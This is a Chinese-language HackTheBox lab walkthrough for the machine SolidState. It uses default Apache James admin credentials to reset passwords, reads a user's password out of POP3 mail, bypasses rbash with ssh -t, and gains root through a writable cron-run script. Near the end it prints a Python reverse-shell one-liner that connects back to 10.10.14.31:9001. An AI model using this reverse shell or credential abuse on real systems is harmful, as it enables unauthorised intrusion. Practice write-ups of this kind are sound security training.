HTB-SolidState
- 信息收集
- 80端口
- Apache James
- mindy
- rbash绕过
- mindy -> root
- 总结
信息收集
80端口
目录扫描
从/README.txt文件里知道他们在捣鼓一个新的秘密项目,这个新的秘密项目就是一个新的网页外观。
80端口先点到为止,免得进兔子洞。
Apache James
JAMES pop3d 2.3.2
在msf上使用相关负载会失败。
4555还有一个JAMES管理员工具。
使用root:root登录查看。
listusers
我们可以控制5个人的账户信息,当然包括修改密码。
我们想要查看是否有有趣的邮件,所以要使用110端口的POP3,telnet 10.10.10.51 110
。
输入用户
命令 | 作用 | 用法 |
---|---|---|
user | 输入用户 | user aster |
pass | 输入密码 | pass aster |
list | 列出邮件列表 | list |
retr | 查看邮件内容 | retr id |
dele | 删除邮件 | dele id |
quit | 退出 | quit |
最左边的1,2就是邮件编号。
有一封给mindy的邮件里面有mindy的凭证。
username: mindy
pass: P@55W0rd1!2@
一共三封邮件,两个和mindy有关,分别是欢迎mindy加入以及给mindy分配登陆密码。还有一个是发给John的,拜托john限制mindy访问权限以及给mindy分配凭证。
mindy
使用上面获得的凭证即可登录mindy。
果然限制了shell。
rbash绕过
在登陆ssh的时候加上-t指定shell类型。
mindy -> root
在opt中发现了一个777文件tmp.py。
内容如下。
没有sudo,只有一个孤独的tmp.py,想必只有时间任务能陪伴它了。
修改tmp内容如下。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.31",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
慢慢等待。
总结
SolidState的突破口是开放的25smtp端口、110pop3端口、以及4555James 远程管理工具。4555服务使用的默认凭证root:root
让我们有可乘之机。通过修改所有用户密码后转向110的pop3收集用户邮件并发现mindy的用户密码。登陆后遇到rbash限制,尝试发现可以通过ssh -t指定shell绕过。随后在/opt文件发现了幸运777文件并修改等待时间任务自动运行提权。
apache james root:root
ssh mindy@ip -t “bash” 绕过rbash